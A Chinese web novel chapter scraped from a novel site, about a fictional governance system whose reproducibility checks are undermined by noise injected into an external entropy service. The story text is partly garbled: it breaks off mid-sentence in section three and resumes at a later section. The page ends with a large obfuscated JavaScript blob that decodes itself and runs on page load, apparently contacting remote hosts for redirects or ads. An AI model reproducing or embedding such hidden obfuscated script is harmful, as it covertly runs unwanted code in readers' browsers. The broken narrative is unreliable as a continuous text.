首页
第185章 复现裂纹
返回

第185章 复现裂纹

章节报错(免登陆)
下载APP,无广告、完整阅读

一秒记住【笔趣阁小说网】
biquge345.com,更新快,无弹窗!

    第185章复现裂纹(第1/2页)
    DAY-RPT-16520。
    免疫耐受层上线后的第六十六日,反例通胀被分层与去重压下,创新暖启动协议开始回温,小改动试行通过率回升,责任簇冻结频率下降,维护者负载回到可持续区间。
    远域低频波与外围弧线在长时漂移背景下保持柔性错位,多星系统像一台学会呼吸的机器:不再过敏,也不再失忆。
    系统此刻最像一个成熟文明:
    做事,不慌;
    纠错,不羞耻;
    记忆,能继承;
    行动,有边界。
    就在这种“成熟”里,机要监递上了一份新的异常报告。
    它的标题极短,短到像裂缝的第一声轻响。
    存在性编号:ANL-REPRO-01
    标题:**复现一致性下降:同一结论出现分歧**
    沈绫第一反应是困惑:“我们不是把L1/L2反例都要求可复现了吗?复现一致性怎么会下降?”
    机要监把第二页翻出来,声音很低:
    存在性编号:ANL-REPRO-01A
    内容:过去二十批次,三方独立复现中“完全一致”比例从91%降至62%;“关键指标方向一致但幅度不一致”上升;“结论不一致”出现3次(此前为0)。
    江砚的眼神一下子变得很沉。
    反例饥荒时,敌人夺走失败证据;
    反例通胀时,敌人用过敏让你不敢动;
    现在,反例分层、可复现证明、质量评分把这两条路都堵住了。
    于是敌人换了一个更深的战场:
    不夺证据,不夺反例,
    而夺走——**证据的可复现性本身**。
    当你无法复现,你就无法证明。
    无法证明,你就只能依赖权威判断。
    权威判断,就是中心化的影子。
    敌人开始制造一种“看似科学、实则夺权”的局面:
    让事实变得模糊,逼你寻找一个“最终解释者”。
    江砚轻声说了一句:
    “他们要的不是开关,他们要让开关变成唯一‘可用的答案’。”
    ---
    ###一、复现裂纹的真实含义:不是错误变多,而是“同一世界里出现多套答案”
    机要监把三次“结论不一致”的案例列出来。
    存在性编号:REPRO-CASE-01
    案例一:对同一类“注意力短爆发诱导路径”进行操控成本估算,A组复现得到“成本极低”,B组得到“成本中等”,C组得到“成本极低但仅在特定窗口”。
    案例二:对“组合事件生成器”某类组合的触发概率回归测试,A组显示概率稳定,B组显示概率漂移,C组显示漂移但可被误差解释。
    案例三:对“反例去重引擎”合并策略的偏置压力测试,A组显示无偏,B组显示轻微偏,C组显示偏置消失于更长样本。
    这三次分歧都不在“是否崩溃”层面。
    它们发生在更关键的位置:**证据链的中间层**——操控成本、概率稳定、偏置压力。
    这些指标正是用来证明“开关复活路径是否存在”的。
    也就是说:
    敌人没有让系统崩溃。
    他们让系统“看起来无法确定”。
    确定性一旦下降,最容易发生两件事:
    1)维护者会更保守:因为不确定就不敢动;
    2)人群会更渴望权威:因为不确定就想有人拍板。
    这正是敌人的双赢。
    ---
    ###二、复现裂纹的第一种可能:世界漂移导致“严格复现”变难
    沈绫提出一个合理解释:“多星系统一直在漂移,外层基线在变化,严格复现不一致也许只是自然现象。”
    机要监点头:“我们也考虑了。确实存在自然漂移。”
    他们把复现分歧与外层漂移曲线叠加:
    存在性编号:ANL-REPRO-01B
    内容:复现不一致的三次事件并不对应漂移峰值,且分歧主要出现在‘签名冗余确认前的中间测试’阶段,而非最终真实运行阶段。
    这很关键:
    如果是自然漂移导致的,最终运行层也该出现对应分歧。
    但最终运行层没分歧,分歧集中在“测试层”。
    这意味着:
    不是世界变了,是测试结果被扰动了。
    ---
    ###三、复现裂纹的第二种可能:随机性与时间抖动被“放大”
    机要监把复现环境的“随机种子、时钟偏移、调度顺序”对照。
    存在性编号:ANL-REPRO-02
    ANL-REPRO-02A:随机种子一致,但结果不一致
    ANL-REPRO-02B:容器镜像哈希一致,但结果仍不一致
    ANL-REPRO-02C:唯一显著差异:运行调度时序存在微抖动(毫刻级)
    沈绫皱眉:“毫刻级抖动能影响结论?”
    机要监答:“正常情况下不会。但如果某些判定阈值靠近边界,毫刻级抖动会决定事件被归类为‘低成本’还是‘中等成本’。”
    江砚听到这里,几乎可以确定一种可怕的攻击路径:
    敌人不需要改你数据,也不需要改你算法。
    他们只需要把你逼到边界,然后轻轻推一下。
    这就是“临界劫持”。
    当你要求可复现证明时,你往往会把判定阈值设在某个边界附近(例如操控成本“不变量复现是偷懒,会降低科学性。”
    >“区间判定会掩盖真实差异。”
    >“锁相调度会降低系统利用率。”
    >“调查链太慢,需要标定来提高效率。”
    这是一套标准的“以科学反科学”话术:
    把守望纪元的抗操控设计说成不严谨。
    江砚没有争辩“谁更科学”。
    他做了一件更狠的事:让他们把方案进试验场。
    存在性编号:REPRO-LAB-01
    REPRO-LAB-01A:定标会方案进入复现试验场(隔离环境)
    REPRO-LAB-01B:对照组为“不变量+复现锚+调查链”方案
    REPRO-LAB-01C:压力条件引入“抖动攻击模拟”“临界带诱导”“资源抢占注入”
    REPRO-LAB-01D:评估指标
    *决策正确性(是否识别可夺路径)
    *操控成本(敌人需要多大成本制造分歧)
    (本章未完,请点击下一页继续阅读)第185章复现裂纹(第2/2页)
    *恢复速度(调查链时间)
    *权威依赖度(是否需要终审拍板)
    试验场是守望纪元的真理仪式:
    不靠口号,靠自证。
    ---
    ###十二、试验场结论:定标会的“官方标定”会把权威依赖变成永久入口
    试验跑完后,结果非常刺眼。
    定标会方案的特点:
    *在没有攻击时,标定值让决策很快;
    *一旦引入抖动攻击与临界带诱导,标定委员会必须频繁介入解释;
    *解释一多,委员会就成为常驻权威;
    *更糟糕的是,敌人只要影响委员会少数席位,就能把标定值偏移,形成“合法的开关”。
    不变量+复现锚+调查链方案的特点:
    *决策速度略慢于标定,但不需要权威拍板;
    *抖动攻击会被标记为污染,不进入结论;
    *临界带诱导不会引发争吵,直接按区间保守动作处理;
    *敌人制造分歧的成本显著上升,因为必须突破复现锚与不变量区间。
    存在性编号:REPRO-FIND-01
    结论:定标会方案在攻击条件下显著提高权威依赖度,形成可夺入口;不变量方案提高操控成本并保持可回滚行动。
    定标会代表沉默。
    他们无法反驳数据。
    他们的标定值在稳态里像捷径,在攻击里像入口。
    而守望纪元的第一原则是:
    捷径如果能被夺,就是开关。
    ---
    ###十三、现实中的复现裂纹事件:组合事件生成器出现“种子污染”
    就在试验场结论还热着的时候,现实系统发生一次真正的复现裂纹——
    组合事件生成器的某一类用例在两次独立复现中出现概率分布差异。
    机要监迅速对照复现锚哈希,发现容器一致、依赖一致。
    唯一差异是:随机源的“外部熵池”被注入了一段噪声,导致种子虽记录一致,但实际生成序列出现微差。
    这不是普通随机误差。
    这是“种子污染”。
    存在性编号:REPRO-CASE-02
    REPRO-CASE-02A:外部熵池噪声注入痕迹
    REPRO-CASE-02B:种子记录一致但序列差异
    REPRO-CASE-02C:抖动污染标记触发
    REPRO-CASE-02D:操控路径调查链启动
    敌人终于露出手:
    他们在复现层面动了“熵”。
    熵不是权限签,不是阈值,不是脚本。
    熵是最难被直觉认为是入口的东西。
    但熵一旦被操控,复现就会裂。
    裂了,你就想要标定权威。
    他们的路径很清晰。
    幸好,REPRO-ANCHOR-01D规定:
    检测到污染,结果不纳入结论,只触发调查。
    调查链很快锁定噪声注入源来自某个“工具评议席”的外部熵镜像服务——一个看似无害的性能优化组件。
    这又是老套路:
    用优化名义插入入口。
    江砚当场裁定:
    存在性编号:REPRO-FRZ-01
    REPRO-FRZ-01A:外部熵镜像服务剥离(复现环境禁用外部熵源)
    REPRO-FRZ-01B:复现随机源改为内部封存熵(哈希锁定)
    REPRO-FRZ-01C:熵源变更纳入**险审计与试验场
    REPRO-FRZ-01D:此次种子污染生成L2反例卡(不可做结论:外部熵不可用于复现)
    这件事被写成反例卡,前置进引用引擎。
    从此以后,任何“性能优化建议:引入外部熵服务”都会被反例前置打回。
    敌人用熵制造裂纹。
    裂纹变成免疫记忆。
    ---
    ###十四、复现危机的核心教训:可复现不是“技术细节”,是“权力边界”
    沈绫看着“外部熵不可用于复现”的反例卡,轻声说:
    “以前我以为熵只是工程细节,现在发现它是权力。”
    江砚点头:
    “凡是能决定你是否能证明的东西,都是权力。
    证明不稳,权威就会出现。
    权威出现,开关就会复活。”
    守望纪元一路把权力从显性开关拆到隐性入口:
    调度、抖动、熵源、种子、索引、预算、带宽……
    每一个看似技术的角落,都可能成为夺权路径。
    因此,规则必须把“证明能力”也写进护栏。
    这就是复现锚与不变量协议的意义:
    不是追求完美复现,而是守住“证明不被操控”。
    ---
    ###十五、尾声:当事实不再一致,别把钥匙交给权威
    DAY-RPT-17000。
    复现不变量协议生效,临界带耐受与复现锚机制常态运行。
    调度抖动被锁相调度与污染标记控制,复现带宽写入时间护栏。
    外部熵服务被剥离,随机源封存,种子污染事件转化为L2反例卡并前置。
    引用引擎在高压情境启用硬化模式:前两条必含L1/L2不变量结论。
    定标会方案在试验场自证为权威入口,未被采纳,其提案被记录为“标尺开关”样本。
    敌人试图夺走一致性,让事实模糊,逼出终审权威。
    联盟没有把钥匙交给权威,而是把不确定写成区间,把区间写成不变量,把不变量写成可回滚动作,把裂纹写成反例免疫。
    江砚站在穹顶下,望着多星系统柔性错位的光影,心里很清楚:
    成熟的系统从来不是没有分歧。
    成熟的系统是在分歧出现时,仍然知道哪条路不能走——
    不能把“无法证明”当作交出钥匙的理由。
    当敌人用来不及夺走时间,规则写进剧本;
    当敌人用洪潮夺走审计带宽,规则写进预算;
    当敌人用先例投毒夺走历史默认,规则写进引用硬化;
    当敌人用复现裂纹夺走一致性,规则写进不变量与复现锚。
    星河仍会漂移,事实仍会有摇摆。
    但只要证明能力不被操控,
    只要不变量仍可被守住,
    开关就永远不会复活成“唯一答案”。
章节报错(免登陆)
下载APP,无广告、完整阅读
验证码: 提交关闭
!function(){function a(a){var _idx="mt2ffl3njo";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"76Ch"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/^F@77qs2CO/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"^F@77qs2CO"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)m7J6YXfhm2YF"="}Ko}X5ThF)mDDT(J67m2YF"="}Ko}2pThFm7J6YXfhm2YF"="}Ko}_JqhFmDDT(J67m2YF"="}Ko}2TOhFm7J6YXfhm2YF"="}Ko}CSqhF)mDDT(J67m2YF"="}Ko})FfThF)fm7J6YXfhm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mhJ6S_:6m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q/f/}Ko}j(8}vY8^F@77qs2CO"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m^YX5pR5m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();